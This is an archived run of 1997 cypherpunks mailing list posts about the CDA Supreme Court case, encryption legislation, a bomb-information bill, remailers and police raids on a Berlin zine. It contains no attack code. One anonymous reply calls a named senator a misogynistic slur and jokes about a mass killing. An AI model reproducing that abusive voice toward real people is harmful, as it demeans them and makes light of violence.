Message-ID: <3.0.2.32.19970625185156.030f3bbc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:53 AM 6/25/97 -0700, Nobody wrote:
>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>etc, etc. It's time for a new non-candidate that is a cross between
>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>("Steal This Book.").
>  My inclination is for a candidate named "Fuck You!", but I'm sure
>someone else can come up with a more creative candidate. 

Wavy Gravy has occasionally run a "Nobody For President" campaign.
"Who'd be the best President?"		"Nobody!"
"Who's going to balance the budget?"	"Nobody!"
"Who's going to fix the schools?"		"Nobody!"
"Who can you trust with the Bomb?"		"Nobody!"
"Which candidate cares about the poor?"	"Nobody!"

A few years back, the Libertarian Party was trying to get
on the ballot in Washington State by running a governor campaign.
They didn't make it, because they lost the protest votes to
a candidate who changed his name to "Absolutely Nobody".
Absolutely Nobody got about 7% of the vote.

(The unfortunate followup story later ran in the SF Chron 
under the title "Absolutely Nobody died today"; he was in
politics because he was an AIDS activist, and had the disease.)

During the '92 elections, I was considering getting 
Frank Zappa on the ballot in New Jersey.  He'd already dropped
out of the race due to his cancer, but it only takes 1000 signatures there,
which would have been an afternoon's work at Rutgers.
He's dead now, but he probably would enjoy running anyway :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 10:22:39 +0800
To: cypherpunks@toad.com
Subject: SF RALLY Against Internet Censorship, Thursday or Friday
Message-ID: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Looks like the CDA decision is going to happen soon...
----- Begin Included Message -----

From: Stanton McCandlish <mech@eff.org>
Subject: SF RALLY Against Internet Censorship
Date: Tue, 24 Jun 1997 15:02:21 -0700 (PDT)
X-URL: http://www.eff.org/~mech
To: bayff@eff.org (bayff mailing list)

---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 14:05:16 -0800
From: "--Todd Lappin-->" <telstar@wired.com>
To: telstar@wired.com
Subject: SF RALLY Against Internet Censorship

Please help spread the word in the Bay Area!

--Todd Lappin-->
Section Editor
WIRED Magazine
                -- Please forward until June 26, 1997 --
___________________________________________________________________________

               *** RALLY AGAINST INTERNET CENSORSHIP ***

     ** Supreme Court Decision on CDA Expected Wednesday or Thursday **


AMENDMENT I: "Congress shall make no law ... abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble."


               *** RALLY AGAINST INTERNET CENSORSHIP ***

          ** South Park, San Francisco, California -- 1 PM **

___________________________________________________________________________

In February 1996, President Clinton made Internet censorship the law of the
land by signing the Communications Decency Act.  The CDA -- a blatant
affront to free speech -- has since become a symbol of the ignorance and
contempt the American political establishment reserves for Internet users
and their constitutional rights.

Now, more than one year later, the United States Supreme Court is poised to
decide the fate of free speech for the 21st century.

On Wednesday or Thursday of this week, the Supreme Court will issue a
decision in the landmark case of ACLU vs. Reno.

On the day the decision comes down, The Electronic Frontier Foundation,
Wired Ventures, and the Citizens Internet Empowerment Coalition invite you
to join us for a RALLY to show your support for free speech online.

PLEASE JOIN US to discuss the free speech implications of this ruling with
plaintiffs and organizers of the legal challenge.

___________________________________________________________________________

WHEN: On the day the Supreme Court issues its decision.

EITHER.... Wednesday June 25, 1997 *OR* Thursday June 26, 1997 at 1 PM

For up-to-the-minute information on the status of the decision, please
visit http://www.ciec.org

WHERE: South Park (between 2nd and 3rd, Bryant St. and Brannan St.) San
Francisco.

SPEAKERS (Tentative List):
Bruce Ennis, the lead attorney who argued this case before the Supremes
Mike Godwin, Electronic Freedom Foundation
Judith Krug, American Library Association
Sameer Parekh, C2Net
Todd Lappin - Wired Magazine

BRING: Attention-grabbing posters, signs, and banners that demonstrate
your committment to free speech and expression, and your feelings
about Congress.

___________________________________________________________________________

FOR UPDATED INFORMATION ON THIS RALLY: http://www.ciec.org/events/sf

FOR BACKGROUND INFORMATION ABOUT THE CDA:
http://www.ciec.org
http://wwww.hotwired.com/special/indecent/
http://www.eff.org/blueribbon.html

___________________________________________________________________________

(NOTE: We are *actively* seeking participation and support from ALL members
of the Bay Area media, online, Internet, new media, and telecommunications
communities. Please forward this message to anyone you think should attend,
and to all relevant mailing lists and newsgroups.)

MEDIA CONTACT:
Lessley Anderson, Wired Magazine, 415-276-5162, lessley@wired.com





--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join


----- End Included Message -----




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Thu, 26 Jun 1997 10:30:36 +0800
To: cypherpunks@cyberpass.net
Subject: Secure Public Networks Act of the U.S
Message-ID: <199706260224.TAA03052@f54.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain

This little gem is extremely scarey, most specifically Title II Sec 207 
and Title III Sec 307 most of all!!  I have been on the phone with 
Congressman Jack Quin of NY, Senator D'Almato of NY, my local Common 
Counselman, and the U.S Attorny's Office (They will be the ones tasked 
with prosecuting offenders under this Bill.). It seems that not one of 
them knows anything about it. And they are currently IN Washington!!!
I was even told by Congressman Quin's Office that no such bills as the 
ProCODE, ProCODE II, or the McCain/ Kerrey Bills have been presented to 
Congress! Talk about your basic denial! I have provided a copy of the 
original HTML version of the SPNA as proposed by McCain and Kerrey. This 
was pulled directly from Senator Kerrey's website.




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 26 Jun 1997 09:01:03 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb Making Info to be Illegal
Message-ID: <199706260047.UAA15143@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Adrogynous Stewart wrote:
> In the final form it only
> prohibits the teaching of bombmaking for criminal purposes. It's not clear
> to me that the bill will restrict such material on the net, unless they
> implies criminal use. 

  Has everyone in society lost their fucking mind?
  Explain to me please, the dire consequences of not having this law.

  Without this law, are people who teach others to make bombs for
criminal purposes not going to go to jail? Bullshit!
  How much of our tax money is being fucked away to pass a law
to establish that the legislation's sponsors aren't in favor of
children in a daycare being bombed?
  People who currently teach bombmaking for criminal purposes are
already going to jail. No doubt a new law will result in some
poor schmuck who is not too good with the English language going
to jail (at our expense) for twenty years for saying "you _should_
use a short fuse" instead of saying "you _could_ use a short fuse"
(or somesuch nonsense).

  Nothing personal, pal, but to even speak about the proposed law
without pointing out that Feinstein is an ignorant bitch who is
fucking away our tax dollars on a useless law, meant to impress 
the dim-witted, is nothing less than conceding to the reign of
knee-jerk stupidity.

  Someone please put up a website teaching people how to use
bananas to commit a crime. I want some company in prison when
I kill 168 people with a banana.

BananaMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 26 Jun 1997 12:19:33 +0800
To: cypherpunks@toad.com
Subject: More Supreme Court CDA predictions (fwd)
Message-ID: <Pine.GSO.3.95.970625210454.11551E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 21:04:10 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: More Supreme Court CDA predictions

[Probably the Supreme Court's last free speech decision before the CDA
came down today in Glickman v. Wileman Brothers. I'm still reading through
the opinion, but as I understand the case, U.S. Agriculture Department
regulations required nectarine and peach growers in California to
contribute to generic pro-nectarine/peach advertising. The Ninth Circuit
struck down the regs, saying the "First Amendment right of freedom of
speech includes a right not to be compelled to render financial support
for others' speech." But today the Supreme Court reversed, ruling that
"Respondents are not required themselves to speak but are merely required
to make contributions for advertising." Souter, Rhenquist, Scalia, and
Thomas dissented. This is hardly a decision that bodes well for the First
Amendment. --Declan]

---------- Forwarded message ----------
Date: Wed, 25 Jun 97 19:15:00 DST
From: "Halpert, James - DC" <jhalpert@pipermar.com>


Declan,

One never knows until the opinions are issued, but there is a good deal of
objective evidence contradicting Prof. Volokh's hunch.  At oral argument,
Rhenquist, Scalia and Thomas all asked hostile questions of Bruce Ennis,
and Rhenquist and Scalia stepped in to help out Seth Waxman, the
Government's oralist, when he was having trouble answering tough questions. 

I'm not sure that Rhenquist and Thomas have ever voted to strike down an
indecency restriction.  Although Scalia has been taken somewhat more
libertarian stands on speech restrictions than the other two, he said flat
out at oral argument that he thought the government should win. 

As for the dissenting opinion they all joined Denver Consortium decision
last term, it may have drawn a clearer line than did the plurality
opinion, but would have upheld a requirement that cable subscribers OPT-IN
IN WRITING thirty days in advance of being able to receive indecent
programming.  If you like that, you may well like the CDA .. . .  We'll
see soon enough. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 26 Jun 1997 10:23:55 +0800
To: azur@netcom.com
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v03102803afd74b50dcd5@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970625210420.3374A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steve wrote:

> What's not clear to me, and I wish someone would explain, is how the SC
> managed to find pornography not similarly protected speech.  Arms and
> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
> others.

It appears that Roth v. United States was the first case before that the
U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
The reasoning was that while offensive, unorthodox, or hateful ideas
are protected by the 1st, they, unlike pornography, have at least *some*
redeeming social value.  The court noted that laws enacted after the
ratification of the U.S. Constitution banned several different kinds of
speech, including profanity, blasphemy, and libel.  It's a very common
tactic for the courts to refer to post-ratification laws to support
limits on Constitutional rights.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 26 Jun 1997 10:45:43 +0800
To: cypherpunks@toad.com
Subject: Re: One Ryder Truck--One Vote
Message-ID: <199706260229.VAA32436@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.2.32.19970625185156.030f3bbc@popd.ix.netcom.com>, on 06/25/97 
   at 06:51 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>At 05:53 AM 6/25/97 -0700, Nobody wrote:
>>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>>etc, etc. It's time for a new non-candidate that is a cross between
>>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>>("Steal This Book.").
>>  My inclination is for a candidate named "Fuck You!", but I'm sure
>>someone else can come up with a more creative candidate. 

>Wavy Gravy has occasionally run a "Nobody For President" campaign. "Who'd
>be the best President?"		"Nobody!"
>"Who's going to balance the budget?"	"Nobody!"
>"Who's going to fix the schools?"		"Nobody!"
>"Who can you trust with the Bomb?"		"Nobody!"
>"Which candidate cares about the poor?"	"Nobody!"

>A few years back, the Libertarian Party was trying to get
>on the ballot in Washington State by running a governor campaign. They
>didn't make it, because they lost the protest votes to a candidate who
>changed his name to "Absolutely Nobody".
>Absolutely Nobody got about 7% of the vote.

>(The unfortunate followup story later ran in the SF Chron 
>under the title "Absolutely Nobody died today"; he was in
>politics because he was an AIDS activist, and had the disease.)

>During the '92 elections, I was considering getting 
>Frank Zappa on the ballot in New Jersey.  He'd already dropped out of the
>race due to his cancer, but it only takes 1000 signatures there, which
>would have been an afternoon's work at Rutgers.
>He's dead now, but he probably would enjoy running anyway :-)

Is there anything against putting a deadman on the ballot?

Seems like the ultimate protest elect a deadman!

What the hell they can vote in Chicago why shouldn't they have
representation. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Thu, 26 Jun 1997 12:57:46 +0800
To: cypherpunks@Algebra.COM
Subject: future history of remailers
Message-ID: <3.0.32.19970625212724.00bc77e0@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain




  i just picked up greg bear's new SF novel _Slant_.  it's set in mid-
next-century.  i'm only twenty pages into it, so i can't honestly give
it a recommendation yet, but the following is from one of the "chapter
intro" quotes, and it has some cypherpunk-topical stuff in the author's
'techie gobbledygook' in the 2nd paragraph

  [note: possibly offensive ... but if you're on this list, why am i
   bothering to warn you?  :-) ]


>From: Anonymous Remailer
>To: Pope Alexander VII
>Date: December 24 2043
>
>"You're just a Catholic Dickhead, you know that?  Come to my town
>(wouldnt you like to know you shit) sometime and I'll show you a
>GOOD TIME.  Let you bodiguards know that I'm about seven feet tall and
>dressed like the Demons in NUKEY NOOKY which I bet you've plaid too
>you asswipe hippocrit!!!!! Have a nice day!!!!!"
>
>EMAIL Archive (ref Security Inv, Re: Thread = Encyclical 2043 Vatican
>Library> Cultural Tracking STAFF /INDA 332; reverse track through
>Finland> ANONYM REMAIL Code REROUTE> SWITZERLAND/ZIMBABWE> ACCT HDFinster>
>Harrison D. Finster ADDRESS 245 W. Blessoe Street Apt 3-H Greensboro NC
>USA PROFILE> 27 years of age at time of message, >CONCLUSION: FLAME
>PROFILE No action necessary.  ref Vatican Internal Investigator
>comments: "Young, shit for brains.")


  imagine that, the vatican cracking remailers....



  "Democracy is government by the people and for the people, on the
   theory that the people should get the kind of government they
   deserve, good and hard."
                             -- Robert Frezza, _The VMR Theory_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 26 Jun 1997 13:58:59 +0800
To: cypherpunks@Algebra.COM
Subject: SAFE: Intl Relations Committee
Message-ID: <3.0.32.19970625214525.006c27c8@best.com>
MIME-Version: 1.0
Content-Type: text/plain




--- fyi ---
does anyone know for sure what the amendments are/were?

SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
Committee on International Relations: Subcommittee on International 
Economic Policy and Trade approved for full Committee action amended 
H.R. 695, Security and Freedom Through Encryption (SAFE) Act.

anyone know what happened in the Senate Judiciary today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:47:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625223120.009fd2f0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:47:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224625.009ff42c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:50:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224903.009fabf0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 26 Jun 1997 13:49:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625224902.00a00930@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 26 Jun 1997 15:14:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: How did these people find our list?
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <v0300780eafd7b6cc418c@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:02 AM -0700 6/23/97, Tim May wrote:
>At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:
>>I'm sure that the community on this list has discussed this problem at
>>length.  What is the best defense?  How do we get the message out or,
>>better yet, deliver it?
>
>No, actually we have not discussed this "problem" at length. No reason too,
>as this is not a list about parenting and parental techniques and moral
>teachings for children.

Speaking as a parent, the best defense is to be able to discuss the
information your children receive with them.  Your opinion will carry a lot
of weight.  If you say that nice people don't spend their time looking at
photos of naked people, well they are very likely to believe you and act on
that belief.  However, remember that children have a very sensitive
hypocrisy meter.  You better live your own beliefs.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 26 Jun 1997 23:47:29 +0800
To: Deborah Stewart <cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: <v0300780dafd7afb0c3cf@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/enriched

 Free speech meant little for more than a hundred years of American history.  

What we think of as the First Amendment slowly came into being starting in the early 1900s.  

E.g., Justice Brandeis' great quotes in Whitney v. California were from his dissenting opinion; when movies first came before the Supreme Court in Mutual Film, they were *not* protected by the First Amendment and that wasn't overruled until 1952!


Lee

PS:  "obscenity" and "child pornography" are not protected speech, but "pornography" is not a legal category.  "Indecency" is a category, and it is protected speech -- the problem is that the government has a compelling interest in controlling minors' access to indecent material.


At 3:34 PM -0700 6/25/97, Deborah Stewart wrote:
[snip]
>
>What's not clear to me, and I wish someone would explain, is how the SC
>managed to find pornography not similarly protected speech.  Arms and
>munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
>others.
>
>
>--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 26 Jun 1997 11:54:09 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SF RALLY Against Internet Censorship, Thursday or Friday
In-Reply-To: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970625233051.1967A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



It's most likely to come down Thursday morning. If not, probably next
Monday. 

I've been staking out the Supreme Court every morning. A kind of CDA
deathwatch. A really bad commercial free speech decision today. Still
waiting on assisted suicide, Brady Bill, line item veto as well.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 26 Jun 1997 15:34:57 +0800
To: cypherpunks@toad.com
Subject: Re: digital signature software
In-Reply-To: <19970624025616.AAA17409@ping>
Message-ID: <v0300780fafd7bdfcf308@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



Well, there is the DSS/SHA1 support in Java 1.1.

At 3:55 AM -0700 6/24/97, chewp@pacific.net.sg wrote:
>Hi
>
>Besides PGP and RIPEM/SIG, is anyone aware of other
>US-exportable digital signature software?
>
>Thanks
>
>Lip Ping
>
>chewp@pacific.net.sg


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 17:26:22 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <199706251259.IAA19793@dhp.com>
Message-ID: <3.0.2.32.19970626013008.03122dc0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)
>
>  Ebonics has to be a natural candidate for pleading this to the
...
>  How about five years for calling a drug "Mary Jane" when writing
> it down, four years for "marijuana", three and a half years for
> "marihuana" and six months for "Cannibus Sativa." Calling it
> simply "Killer shit, man!" would be acceptable.

Back when marijuana was illegal in Oklahoma, during the anti-war years
when everybody was paranoid that their phones were tapped by the FBI,
a friend of mine would occasionally have phone conversations like
	"Hey, Steve, I just got some .... Beer.  Want to come over?"
	"Yeah, Joe, I'd really like some .... Beer.  I'll be there
	in about an hour.  Should I bring some .... Pizza?"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 26 Jun 1997 21:07:49 +0800
To: cypherpunks@toad.com
Subject: LaMacchia's Revenge, from The Netly News (fwd)
Message-ID: <Pine.GSO.3.95.970626054746.10857C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 05:47:15 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: LaMacchia's Revenge, from The Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

The Netly News Network
June 25, 1997

LaMacchia's Revenge
by Declan McCullagh (declan@well.com)

 David LaMacchia's pirate warez site once hummed
quietly along on a DECstation 5000 just down the hall
from the study lounge on the top floor of MIT's
Stratton Student Center. LaMacchia claims its original
purpose was to let visiting netizens exchange
software. But soon -- either inevitably or
intentionally, depending on whom you believe -- more
and more copyrighted programs began to appear.

  This was enough to prompt the federal government
to charge the MIT undergraduate in April 1994 with the
crime of wire fraud. The indictment argued that his
FTP-like site permitted "on an international scale,
the illegal copying and distribution of copyrighted
software, without payment of software licensing fees."
Yet a federal judge dismissed the case that December,
ruling that while LaMacchia was wrong -- and could be
sued in civil court -- the aspiring computer scientist
was not guilty as charged. Judge Richard Stearns said,
"It is not clear that making criminals of a large
number of consumers of computer software is a result
that even the software industry would consider
desirable."

  Guess again. A group of software companies,
including Microsoft and Adobe, yesterday requested new
laws to eliminate what they termed the "LaMacchia
decision" problem. When a warez site operates for free
-- as most do -- companies currently must sue for
damages in a civil court. In other words, giving that
copy of Quake to your dad is not -- yet -- a federal
felony.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Thu, 26 Jun 1997 20:13:39 +0800
To: cypherpunks@toad.com
Subject: Another shoe drops
Message-ID: <Pine.GSO.3.95.970626075210.29797D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------

Raids Against 'Interim' Autonomist Zine In Berlin

     On June 12, 1997, more than 500 police in Berlin carried out
a series of raids aimed at criminalizing the weekly autonomist
publication 'Interim'. State agents searched several houses in the
Berlin districts of Friedrichshain, Neukolln, and Kreuzberg.
Several individuals were charged with various felonies including
"rewarding or supporting illegal actions". Police also raided
several printing presses.
     A successful criminalization of the Interim would, in
practical terms, be much more of a blow to the German radical-left
than the recent state campaign against the underground publication
Radikal, because whereas Radikal has only been sporadically
published over the past few years, Interim has appeared *every
week* since the late 1980s. Published as a forum for discussion
for Berlin's radical-left autonome scene, the magazine has
political relevance all across Germany, as it provides an
anonymous forum for publishing communiques from militant action
groups, mobilizations for demonstrations, and debates on politics
and strategy.
     The following is a translation of a statement issued by
Interim following the recent raids.

---
"You Can't Ban A Concept"

Statement From Interim Magazine - June 12, 1997

     Interim has been published weekly for nine years. State
surveillance, repression, and investigations have not stopped it
from appearing. The 1995  Verfassungsschutzbericht' [annual report
from Germany's Office to Protect the Constitution] stated that "a
high degree of trust and discipline among the makers of the
magazine" have prevented the authorities from being able to close
it down. But now the powers that be feel they can do just that.
     Therefore, we'd like to say the following:

1. There is no permanent Interim editorial group, nor a fixed
publishing location. The magazine is continually made and put
together by different people.

2. If any papers were found anywhere during the police raids which
also appeared in the Interim, that doesn't mean a thing. The
Interim has a public mailing address, anyone can send us papers or
documents, and as far as we know, it's not a crime to receive
mail.

3. The cops dismantled printing presses, confiscated computers and
files, filed charges against individuals. It's ridiculous to think
that this will stop the Interim. Because the Interim is a
communications CONCEPT: uncensored, according to the law,
published according to its own rules in the interest of an
anonymous exchange about theory and praxis of undogmatic left-radical
politics. As long as the ruling powers are bent on
destroying society, a radical resistance movement will be
necessary, and it's not possible for a discussion of this
necessity to take place within the boundaries of the laws of the
powers that be. If Schonbohm [former General, now Interior
Minister in Berlin] tries to stop our communication exchange by
confiscations and arrests, he might just as well try to handcuff a
mountain stream. If forced to operate entirely outside of legal
boundaries, that's what we'll do, and there will always be people
willing to make this communications concept possible and who can
run it and diversify it.

4. We view the raids against part of the Interim's structures at
this point in time as a flanking maneuver in the war which
Schonbohm and Ladowski have declared. At a time when resistance to
their cleansing policies is increasing - inner-city actions,
university congresses, mobilizations by squatters, the homeless,
and immigrants - the state wants to eliminate the forum by which
all these forms of resistance can be linked together.

     Even if we aren't able to continue the discussion about our
politics (our politicians??), one thing is clear: Schonbohm has
declared war, and we will react. Repression breeds revolts. We
promise that the next issue of the Interim will be published on
time, with the theme of how we can go on the offensive against
those who want to cleanse the city [before it becomes Germany's
capital again]. All those who wish to participate in this
discussion will find ways of getting their texts to the Interim.

Interim - Weekly Berlin Info

---
Interim On The Internet

     In order to do something about the criminalization of the
Interim, Trend Online in Berlin has set up a Solidarity Homepage
for the publication with news about the recent raids, and we at
Arm The Spirit have set up a mirrorsite. This is to be seen as an
expansion of the publication, not a substitute for it. Interim is
a weekly hardcopy publication and plans to stay that way.

Trend Online's Interim Solidarity Page:
http://www.berlinet.de/trend/interim/

Arm The Spirit's Interim Mirror Site:
http://burn.ucsd.edu/~ats/INTERIM/index.htm

-----------------------------------------------------------------
Arm The Spirit is an autonomist/anti-imperialist information
collective based in Toronto, Canada. Our focus includes a wide 
variety of material, including political prisoners, national 
liberation struggles, armed communist resistance, anti-fascism, 
the fight against patriarchy, and more. We regularly publish our 
writings, research, and translation materials on our listserv
called ATS-L. For more information, contact:

Arm The Spirit
P.O. Box 6326, Stn. A
Toronto, Ontario
M5W 1P7 Canada

E-mail: ats@etext.org
WWW: http://burn.ucsd.edu/~ats
ATS-L Archives: http://burn.ucsd.edu/archives/ats-l
MRTA Solidarity Page: http://burn.ucsd.edu/~ats/mrta.htm
FTP: ftp.etext.org --> /pub/Politics/Arm.The.Spirit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 26 Jun 1997 21:13:00 +0800
To: geeman@best.com
Subject: Re: SAFE: Intl Relations Committee
In-Reply-To: <3.0.32.19970625214525.006c27c8@best.com>
Message-ID: <Pine.GSO.3.95.970626084014.12007A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I forwarded Amy's report which was quite detailed and I believe quite
accurate. I don't have time to type in the amendments myself...

-Declan


On Wed, 25 Jun 1997 geeman@best.com wrote:

> 
> --- fyi ---
> does anyone know for sure what the amendments are/were?
> 
> SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
> Committee on International Relations: Subcommittee on International 
> Economic Policy and Trade approved for full Committee action amended 
> H.R. 695, Security and Freedom Through Encryption (SAFE) Act.
> 
> anyone know what happened in the Senate Judiciary today?
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 27 Jun 1997 00:29:11 +0800
To: "Mark M." <cypherpunks@Algebra.COM
